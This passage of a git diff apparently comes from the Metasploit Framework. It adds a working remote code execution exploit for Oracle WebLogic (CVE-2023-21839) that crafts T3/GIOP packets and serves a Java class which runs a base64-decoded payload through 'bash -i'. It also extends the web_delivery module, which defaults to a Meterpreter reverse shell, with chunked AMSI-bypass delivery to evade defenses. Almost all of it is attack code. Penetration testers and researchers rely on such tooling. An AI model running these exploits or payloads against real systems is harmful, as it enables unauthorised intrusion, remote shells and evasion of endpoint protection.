[8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? + data << "resolve\x00" # Request Operation + + service_context_list = '' + service_context_list << [context_list_length].pack('N') # Sequence Length + service_context_list << '{SERVICE_CONTEXT_LIST}' + + cos_data = '' + if cos_naming_disector + cos_data << "\x00\x00\x00\x00" + cos_data << [seq_len].pack('N') # Sequence length + name_component = "test\x00" + cos_data << [name_component.length].pack('N') # Name component length including NULL byte. + cos_data << name_component + cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this. + end + + data << service_context_list + data << cos_data + + packet << header + packet << data + + packet + end + + def check + begin + @version = get_weblogic_version + fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil? + rescue ::Timeout::Error + fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') + rescue Rex::AddressInUse + fail_with(Failure::BadConfig, 'Address is currently in use') + rescue Rex::HostUnreachable + fail_with(Failure::Unreachable, 'Target host is unreachable!') + rescue Rex::ConnectionRefused + fail_with(Failure::Disconnected, 'Target refused connection!') + rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout + fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') + end + + if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!') + elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!') + elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!') + else + return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!') + end + end + + # HTTP Server Related Functions and Overrides + + # Returns the configured URIPATH along with the path to the Java class we are serving + def resource_uri + "#{datastore['URIPATH']}/#{@java_class_name}.class" + end + + # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of + # this URL when it tries to fetch the class to be loaded and instantiated. + def ldap_url_string + "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/" + end + + # + # Handle the HTTP request and return a response. Code borrowed from: + # msf/core/exploit/http/server.rb + # + def start_http_service(opts = {}) + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + (opts['ServerPort'] || bindport).to_i, + opts['ServerHost'] || bindhost, + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self + }, + opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost), + datastore['SSLCert'], + datastore['SSLCompression'], + datastore['SSLCipher'], + datastore['SSLVersion'] + ) + @http_service.server_name = datastore['HTTP::server_name'] + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => method(:on_request_uri), + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + proto = (datastore['SSL'] ? 'https' : 'http') + + netloc = opts['ServerHost'] || bindhost + http_srvport = (opts['ServerPort'] || bindport).to_i + print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}") + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + end + + # + # Kill HTTP service (shut it down and clear resources) + # + def cleanup + # Stop the LDAP server + cleanup_service + + # Clean and stop HTTP server + if @http_service + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service = nil + rescue StandardError => e + print_error("Failed to stop http server due to #{e}") + end + end + super + end + + # + # Handle HTTP requests and responses + # + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + vprint_good("Payload requested by #{cli.peerhost} using #{agent}") + class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class')) + base64_payload = Rex::Text.encode_base64(payload.encoded) + exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length + command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length + class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n')) + class_raw = class_raw.gsub('PAYLOAD', base64_payload) + send_response(cli, 200, 'OK', class_raw) + end + + # + # Create an HTTP response and then send it + # + def send_response(cli, code, message = 'OK', html = '') + proto = Rex::Proto::Http::DefaultProtocol + res = Rex::Proto::Http::Response.new(code, message, proto) + res.body = html + cli.send_response(res) + end + + # LDAP Server Overrides + def build_ldap_search_response_payload + # Always do a remote load + # Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server. + # You can add anchor tags using # to the URL but thats it. + build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name) + end + + # Main Exploit + def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!') + end + + if @version.blank? + @version = get_weblogic_version + end + + # Step 1 - Make T3 connection to start IIOP connection process, and read response. + socket = connect + print_status('1. Making T3 connection...') + socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n") + _buf = socket.get + disconnect + print_good('Made T3 connection!') + + # Step 2 - Send first GIOP LocateRequest packet + print_status('2. Sending first GIOP LocateRequest packet') + # Make a GIOP LocateRequest packet request and read response. + socket = connect + socket.put(giop_locate_request_packet) + locate_buf = socket.get + disconnect + print_good('Step 2 complete!') + + reply_status = locate_buf[16..19].unpack('N')&.dig(0) + if reply_status != OBJECT_FORWARD + fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') + end + + # Calculate the target port + + # Start at offset 0x60 which will be inside the GIOP's LocateReply message, + # and will be where the IP address is located in the IOR response. + port_offset = 0x60 + + # Starting at this offset above, loop until we hit a zero byte in the IOR buffer. + # This works because the PORT number is represented as a 4 byte long number, aka 32 bits, + # and the upper part will never be used. Either that or there is a \x00\x00 padding section + # between the IP address and the port. + loop do + if locate_buf[port_offset] != "\x00" + port_offset += 0x1 + else + break + end + end + + # If port_offset is too large by this point then we have likely hit an error and should exit + if port_offset > 10240 + fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!') + end + + # Now, loop until we hit a non-zero byte in the IOR buffer. This should + # place at the location of the port part of the IP address that is embedded in the IOR message. + loop do + if locate_buf[port_offset] == "\x00" + port_offset += 0x1 + else + break + end + end + + port = [] + port.append(locate_buf[port_offset]) + port_offset += 1 + port.append(locate_buf[port_offset]) + + # Reformulate the port number from the array so we can get the actual port the target server is expecting us to use. + final_port = port[1].bytes[0] | (port[0].bytes[0] << 8) + + # Fail if the received port is not the one we expected. + if final_port != datastore['RPORT'] + fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}") + end + + lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message. + foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5z�U + + loop do + if locate_buf[foff] == "\x00" + foff += 0x1 + else + break + end + end + + key1 = locate_buf[foff...foff + 8] + key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8] + + if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13') + wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ + "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ + "\x00\x00\x00\x00\x00\x00\x00{{key1}}" + wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ + "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ + "\x00\x00\x00\x00\x00\x00\x00{{key1}}" + elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15') + wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \ + "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \ + "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \ + "\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \ + "\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" + wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \ + "\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \ + "\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \ + "\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \ + "\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" + else + fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!') + end + + wls_key_1.gsub!('{{key1}}', key1) + + # Step 3 - Make a rebindAny request + key_addr = wls_key_1 + stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \ + "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \ + "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \ + "\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \ + "\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00" + socket = connect + packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6) + + context_data = '' + @service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b") + @service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01") + @service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01") + + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \ + "\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \ + "\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \ + "\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \ + "\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01") + context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00") + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + print_status('3. Sending rebindAny request!') + socket.put(packet) + rebind_any_buf = socket.get + disconnect + print_good('Step 3 complete!') + + reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0) + if reply_status_code != LOCATION_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") + end + + start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime + 0xac + lt + # IOR ProfileHost ProfilePort + 0x5d # ObjectKey Prefix + + while rebind_any_buf[start_off] != 0x32 + if start_off > 0x2710 + break + end + + start_off += 1 + end + + if start_off > 0x2710 + key3 = "\x32\x38\x39\x00" + else + key3 = rebind_any_buf[start_off...start_off + 4] + end + + wls_key_2.gsub!('{{key3}}', key3) + wls_key_2.gsub!('{{key1}}', key1) + + # Step 4 - rebind_any Request Again??? + socket = connect + key_addr = wls_key_2 + packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + print_status('4. Sending second rebindAny request!') + socket.put(packet) + rebind_any_buf_2 = socket.get + disconnect + print_good('Step 4 complete!') + + reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0) + if reply_status_code != NO_EXCEPTION + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") + end + + # Step 5 - Send second GIOP LocateRequest packet + print_status('5. Sending second GIOP LocateRequest packet') + socket = connect + socket.put(giop_locate_request_packet) + locate_buf_two = socket.get + disconnect + print_good('Step 5 complete!') + + reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0) + if reply_status_code != OBJECT_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") + end + + # Step 6 - Resolve packet #1 with wls_key_1 + key_addr = wls_key_1 + packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + print_status('6. Sending resolve packet #1 with wls_key_1') + socket = connect + socket.put(packet) + resolve_packet_wls_key_1 = socket.get + disconnect + print_good('Step 6 complete!') + + reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0) + if reply_status_code != LOCATION_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") + end + + # Step 7 - Resolve packet #2 with wls_key_2 + key_addr = wls_key_2 + packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + start_service + start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i) + + print_status('7. Sending resolve packet #2 with wls_key_2') + socket = connect + socket.put(packet) + step_7_response = socket.get + disconnect + print_good('Step 7 complete!') + + reply_status_code = step_7_response[16..19].unpack('N')&.dig(0) + if reply_status_code != USER_EXCEPTION + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") + end + end +end diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 6b0c530b9838c..2d9eb72cd6153 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -56,97 +55,98 @@ def initialize(info = {}) to be served up to be downloaded and executed. }, 'License' => MSF_LICENSE, - 'Author' => + 'Author' => [ + 'Andrew Smith "jakx" ', + 'Ben Campbell', + 'Chris Campbell', # @obscuresec - Inspiration n.b. no relation! + 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) + 'Trenton Ivey', # AppLocker MSF Module (kn0) + 'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features + 'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget + 'Matt Nelson', # @enigma0x3 // pubprn discovery + 'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass + 'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery + ], + 'DefaultOptions' => { + 'Payload' => 'python/meterpreter/reverse_tcp', + 'Powershell::exec_in_place' => true + }, + 'References' => [ + ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], + ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'], + ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], + ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'], + ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'], + ['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'], + ['URL', 'https://iwantmore.pizza/posts/amsi.html'], + ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'], + ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'], + ['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'], + ], + 'Platform' => %w[python php win linux osx], + 'Targets' => [ [ - 'Andrew Smith "jakx" ', - 'Ben Campbell', - 'Chris Campbell', # @obscuresec - Inspiration n.b. no relation! - 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) - 'Trenton Ivey', # AppLocker MSF Module (kn0) - 'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features - 'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget - 'Matt Nelson', # @enigma0x3 // pubprn discovery - 'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass - 'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery + 'Python', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } ], - 'DefaultOptions' => - { - 'Payload' => 'python/meterpreter/reverse_tcp', - 'Powershell::exec_in_place' => true - }, - 'References' => [ - ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], - ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'], - ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], - ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'], - ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'], - ['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'], - ['URL', 'https://iwantmore.pizza/posts/amsi.html'], - ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'], - ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'], - ['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'], + 'PHP', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + } + ], + [ + 'PSH', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'Regsvr32', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'pubprn', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'SyncAppvPublishingServer', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'PSH (Binary)', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'Linux', { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64] + } ], - 'Platform' => %w[python php win linux osx], - 'Targets' => [ - [ - 'Python', { - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON - } - ], - [ - 'PHP', { - 'Platform' => 'php', - 'Arch' => ARCH_PHP - } - ], - [ - 'PSH', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'Regsvr32', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'pubprn', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'SyncAppvPublishingServer', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'PSH (Binary)', { - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'Linux', { - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], - [ - 'Mac OS X', { - 'Platform' => 'osx', - 'Arch' => [ARCH_X86, ARCH_X64] - } - ], + 'Mac OS X', { + 'Platform' => 'osx', + 'Arch' => [ARCH_X86, ARCH_X64] + } ], + ], 'DefaultTarget' => 0, - 'DisclosureDate' => '2013-07-19' + 'DisclosureDate' => '2013-07-19', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) @@ -154,7 +154,8 @@ def initialize(info = {}) [ OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]), OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]), - OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]), + OptInt.new('PSH-AmsiBypassSplit', [ true, 'PSH - Split the AMSI bypass script in multiple chunks to for evasion. This value indicates the number of chunks (1 means no split).', 1 ]), + OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', false ]), OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]), OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]), OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]), @@ -174,8 +175,13 @@ def primer when 'PSH' uri = get_uri if datastore['PSH-AmsiBypass'] - amsi_uri = uri + amsi_bypass_uri - print_line(gen_psh([amsi_uri, uri], 'string').to_s) + begin + @amsi_bypass_chunks = bypass_powershell_protections(datastore['PSH-AmsiBypassSplit'].to_i) + rescue RuntimeError => e + fail_with(Msf::Exploit::Failure::BadConfig, "Cannot generate bypass protection script: #{e}") + end + @amsi_uris = (1..@amsi_bypass_chunks.size).map { |i| "#{amsi_bypass_uri}/#{i}" } + print_line(gen_psh(@amsi_uris.map { |u| uri + u } + [uri], 'string').to_s) else print_line(gen_psh(uri, 'string').to_s) end @@ -199,13 +205,23 @@ def primer def amsi_bypass_uri unless datastore['PSH-AmsiBypassURI'].empty? - @amsi_uri = datastore['PSH-AmsiBypassURI'] + @amsi_bypass_uri = datastore['PSH-AmsiBypassURI'] end - @amsi_uri ||= random_uri + @amsi_bypass_uri ||= random_uri + end + + def force_tls12_uri + @force_tls12_uri ||= random_uri + end + + def proxy_aware_uri + @proxy_aware_uri ||= random_uri end def on_request_uri(cli, request) - if request.raw_uri.to_s.ends_with?('.sct') + uri = request.raw_uri.to_s + + if uri.ends_with?('.sct') print_status('Handling .sct Request') psh = gen_psh(get_uri.to_s, 'string') @@ -222,9 +238,27 @@ def on_request_uri(cli, request) return end - if request.raw_uri.to_s.ends_with?(amsi_bypass_uri) - data = bypass_powershell_protections - print_status("Delivering AMSI Bypass (#{data.length} bytes)") + if datastore['PSH-AmsiBypass'] && uri.ends_with?(*@amsi_uris) + if @amsi_bypass_chunks.blank? + @amsi_bypass_chunks = bypass_powershell_protections(datastore['PSH-AmsiBypassSplit'].to_i) + end + chunk_nb = uri.split('/').last + data = @amsi_bypass_chunks[chunk_nb.to_i - 1] + print_status("Delivering AMSI Bypass #{chunk_nb}/#{@amsi_bypass_chunks.size}(#{data.length} bytes)") + send_response(cli, data, 'Content-Type' => 'text/plain') + return + end + + if ssl && datastore['PSH-ForceTLS12'] && uri.ends_with?(force_tls12_uri) + data = Rex::Powershell::PshMethods.force_tls12 + print_status("Delivering ForceTLS12 command (#{data.length} bytes)") + send_response(cli, data, 'Content-Type' => 'text/plain') + return + end + + if datastore['PSH-Proxy'] && uri.ends_with?(proxy_aware_uri) + data = Rex::Powershell::PshMethods.proxy_aware + print_status("Delivering Proxy Aware command (#{data.length} bytes)") send_response(cli, data, 'Content-Type' => 'text/plain') return end @@ -233,9 +267,13 @@ def on_request_uri(cli, request) when 'Linux', 